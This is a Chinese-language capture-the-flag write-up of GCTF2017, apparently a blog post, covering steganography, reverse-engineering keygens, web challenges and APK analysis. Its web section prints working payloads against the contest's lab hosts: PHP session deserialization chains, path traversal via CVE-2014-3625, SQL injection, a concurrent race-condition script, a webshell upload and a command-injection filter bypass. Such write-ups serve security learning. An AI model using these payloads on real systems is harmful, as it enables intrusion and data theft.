zzm

GCTF2017(首届全球华人网络安全技能大赛) writeup
谜一般的比赛。。题目实在是太多了,而且时间还只有一天=。=,还好在最后冲到了第六。。。一、Miscstage1:拿...
扫描右侧二维码阅读全文
11
2017/06

GCTF2017(首届全球华人网络安全技能大赛) writeup

谜一般的比赛。。
题目实在是太多了,而且时间还只有一天=。=,还好在最后冲到了第六。。。

一、Misc

stage1:

拿到图片,使用Stegsolve.jar,在gray panel发现一个反色二维码,使用mac预览实现反色。

a.png

之后后扫描得到一串十六进制数。

03F30D0AB6266A576300000000000000000100000040000000730D0000006400008400005A00006401005328020000006300000000030000000800000043000000734E0000006401006402006403006404006405006406006405006407006708007D00006408007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100712B00577C010047486400005328090000004E6941000000696C000000697000000069680000006961000000694C0000006962000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007307000000746573742E7079520300000001000000730A00000000011E0106010D0114014E280100000052030000002800000000280000000028000000007307000000746573742E707974080000003C6D6F64756C653E010000007300000000

发现头部03F30D0A是pyc的magic number,于是python导入后执行dir发现有一个flag函数,执行后得到flag。
b.png

revereMe

观察到头尾发现反序jpg的magic number(FF D8和FF D9),用python将字节逆过来即可看到flag图片。

f=open('b','wb')
f.write(open('a','rb').read()[::-1])

test.pyc

用dis和uncompile2查看pyc发现flag3函数的逻辑,将给出字符串逆过来解base64再逆过来并且每个字符减一即可。

a = '=cWbihGfyMzNllzZ0cjZzMWN5cTM4YjYygTOycmNycWNyYmM1Ujf'

import base64

print ''.join(map(lambda x: chr(ord(x)-1), base64.b64decode(a[::-1])))[::-1]

二、Reverse

Hackme:

hackme题目给出了一个64位的二进制程序,可以在linux下运行,运行结果如下:

Give me the password: aaaa
Oh no!

那么这个题目应该就是让我们找一个能通过的pasword啦。

去ida里边打开题目分析看看,首先查看字符串,发现有这么一个看起来很厉害的字符串:

.rodata:00000000004881BE 00000009 C Congras\n

一看就让人觉得这就是通过之后的样子,于是跟过去看看,简单的做一下分析,可以得到这么一个函数:

__int64 __fastcall main(__int64 a1, char *password)
{
  char input_pas[136]; // [sp+10h] [bp-B0h]@1
  int v4; // [sp+98h] [bp-28h]@12
  char v5; // [sp+9Fh] [bp-21h]@8
  int v6; // [sp+A0h] [bp-20h]@5
  unsigned __int8 input_char; // [sp+A6h] [bp-1Ah]@5
  char original_bytes; // [sp+A7h] [bp-19h]@5
  int v9; // [sp+A8h] [bp-18h]@5
  int v10; // [sp+ACh] [bp-14h]@5
  int v11; // [sp+B0h] [bp-10h]@5
  int ten_times; // [sp+B4h] [bp-Ch]@4
  int check_result; // [sp+B8h] [bp-8h]@4
  int length; // [sp+BCh] [bp-4h]@1

  printf("Give me the password: ");
  scanf("%s", my_pass);
  for ( length = 0; my_pass[length]; ++length )
    ;
  is_right = length == 22;
  cnt = 10;
  do
  {
    v9 = (signed int)sub_406D90() % 22;
    v11 = 0;
    compareByte = fileBytes[(signed __int64)v9];
    aChar = my_pass[v9];
    v6 = v9 + 1;
    v10 = 0;
    while ( v10 < v6 )
    {
      ++v10;
      v11 = 0x6D01788D * v11 + 12345;
    }
    v5 = v11 ^ aChar;
    if ( compareByte != ((unsigned __int8)v11 ^ aChar) )
      check_result = 0;
    --cnt;
  }
  while ( cnt );
  if ( is_right )
    v4 = printf("Congras\n", password);
  else
    v4 = printf("Oh no!\n", password);
  return 0LL;
}

逻辑还是比较简单的,唯一一个比较神奇的地方是sub_406D90,实在是不知道是啥,不过根据猜测,
我觉得他得到的数不应该是变化的,不然题目的答案就不固定了,so,调试了一下发现真的是固定的。

那么剩下的任务就是把这个函数抄下来了,一个又去的地方是v5那儿,v5的亦或,其实也就是最后和
compareByte比较的那个,亦或是可逆的,所以按照他这里的比较,compareByte = v11 ^ aChar
因为 v11 ^ aChar ^ v11 = aChar,所以如果得到compareByte和v11了,就可以得到正确的数了。
v11的值和v16有关,v6和v9有关,v9的值其实是固定的,而且我抄了几个发现没啥规律,大致思考了一下,
v9的数其实是没有关系的。v9只要小于22就行了,因为两个v9一样使得比较的位置一样,那么v11也一样,
所以v9只要从0到21就可以了,所以有这个思路,用C写一个算一遍就好了

#include <stdio.h>
char *cmp = "\x5f\xf2\x5e\x8b\x4e\x0e\xa3\xaa\xc7\x93\x81\x3d\x5f\x74\xa3\x09"
        "\x91\x2b\x49\x28\x93\x67";


int main() {
    for (int i = 0; i < 22; i++) {
        char to_cmp = cmp[i];
        int v10 = 0;
        int v6 = i + 1;
        int v11 = 0;
        while (v10 < v6) {
            v10 ++;
            v11 = 0x6d01788d * v11 + 12345;
        }
        printf("%c", (char)v11 ^ to_cmp);
    }
    return 0;
}

最后flag: flag{d826e6926098ef46}

debug.exe

用jeb观察逻辑,发现过一个check就行,根据逻辑写出下面exp得到flag

def trans(a, b):
    return [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113][b]^a

print trans(1,10)

def cal(a, b):
    for i in a:
        i = ord(i)
        for j in range(1,15):
            i = trans(i, j)
        b += chr(i)
    return b

import hashlib

b = cal('CreateByTenshine','')

m = hashlib.md5()

m.update(b)

print 'flag{' + m.hexdigest().upper() + '}'

三、Web

PHP序列化:

可以直接看到index.php的源码:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
    $_SESSION['src'] = $_GET['src'];
    highlight_file(__FILE__);
    print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>代码审计2</title>
 </head>
 <body>
 在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。
<form action="./query.php" method="POST">        
<input type="text" name="ticket" />               
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>

然后访问query.php的时候提示:

Look me: edit by vim ~0~

试了一下vim备份文件的后缀,query.php~可以读到源码:

//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
        $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct(){
        echo $this->attr;
    }
}

很明显需要序列化。在index.php里面设置了php的序列化handler是'php_serialize',而query.php里面没有设置,也就是默认的'php',所以可以利用session反序列化调用query.php里面的类。
只有TOPC有echo,分析了一下,构造顺序应该是:

TOPC > TOPB > TOPA

其中有几个点:

1. __wakeup可以通过改变属性数目大于实际数目绕过
2. 通过建立引用关系使得$this->obj->token和$this->obj->ticket保持相等
3. username和password可以直接取0,0弱等于字符串

试了一下,感觉线上的源码不太一样,会调用login,并且反序列化的时候会先反序列化内层的
构造payload:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

在index.php设置一下session,再访问query.php就行了

spring-css:

google了一下,有一个CVE的洞cve-2014-3625
链接里面有exp,读一下/etc/passwd,发现:

flag:x:1000:1000:Linux User,,,:/home/flag:/etc/flag

根据提示再读/etc/flag

http://218.2.197.232:18015/spring-css/resources/file:/etc/flag

注入越权:

源码有提示:

<!--
2015.10.16
防越权改造,当uid=0且role=admin时显示管理员页面。
 -->   

发现uid可以直接修改,修改role不行,输引号会被mysql_escape_string拦 。
试了一下发现uid输反引号会报错,看了一下大概是update语句,所以可以注入设置role,引号不能用,就用admin的十六进制代替,也就是

uid=0,role=0x61646d696e

修改后返回原页面,得到flag

条件竞争:

题目给了源码,看了一下在reset密码时存在条件竞争漏洞,reset时有两步:

  1. 先将该用户信息清空并新插入一条信息,这时notadmin为False
  2. 然后再将notadmin设置为True

那么只要在第二步之前登录即可,所以跑两个程序,一个reset,一个login即可,我这里分别开了15个协程:

reset.py
import requests
from gevent import monkey
import gevent
monkey.patch_all()

def reset():
    for i in range(100):
        cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'}
        a = requests.post("http://218.2.197.232:18009/index.php?method=reset",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text
        print(a)

tasks = [gevent.spawn(reset) for i in range(15)]
gevent.joinall(tasks)
login.py
import requests
from gevent import monkey
import gevent
monkey.patch_all()

def login():
    for i in range(100):
        cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'}
        b = requests.post("http://218.2.197.232:18009/login.php?method=login",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text
        print(b)

tasks = [gevent.spawn(login) for i in range(15)]
gevent.joinall(tasks)

很快就能读到flag:

image.png

读文件:

只给了个1.txt可以读,试了一下加*不行,感觉不是命令执行,"../"返回上级目录也不行,猜测可能过滤了什么,在1.txt中间加上"./"发现仍能读取,说明"./"被过滤了,构造payload,在上级目录的flag.php的注释里读到flag

http://218.2.197.232:18008/a/down.php?p=...//fla./g.php

Web综合:

发现有.svn泄露,下载下来sqlite数据库文件,找到settings.inc.php的checksum,然后在

http://218.2.197.232:18007/.svn/pristine/c6/c63308801a9ec3b0c1aea96b061c00b1666adebb.svn-base

可以读到源代码,源码里有admin的密码,登陆上去可以上传图片,这里上传一个图片马就行了,只验证了content-type,菜刀连上去后,在07目录下找到f1a9.php

RCE绕过:

命令前后需要空格,但是被过滤,用%0a绕过,命令中的空格就不行了,fuzz一下,发现%09可以。另外"."也被过滤了,可以用*,于是直接读到flag.php:

http://218.2.197.232:18006/?cmd=%0acat%09fla*%0a

JAVA序列化:

网上找了个JAVA序列化的例子,推测了一下大概的格式,然后把题目的object的id和name对应修改一下,再Base64就OK了

rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=

变态验证码怎么过:

网上搜了一下几种绕验证码的方式,都试了一下,发现只要第一次输对了验证码,后面直接把验证码设为空串就行了,然后用Burp和他给的password.txt爆破一下就行了

Forbidden:

注释提示要本机访问,各种改头部没用,后来发现改成localhost才行,也是醉了,然后后续每次修改都会有个提示,改Host啊,改Referer,改UA什么的,一步一步来就能得到最后flag

热身题:

扫了一下目录发现robots.txt,挨个读了一下里面的文件,最后在rob0t.php里面读到flag

四、Mobile

APK逆向

逆向看MainActivity,发现在checkSN中用输入与flag作比较

1.png
在对应点打断点

image.png
动态调试,断下来后就是flag

image.png

APK逆向2

Jeb查看manifest文件报错

image.png
解压出AndroidManifest.xml,用010Editor查看,即可得flag

image.png

Last modification:August 24th, 2018 at 11:02 pm

Leave a Comment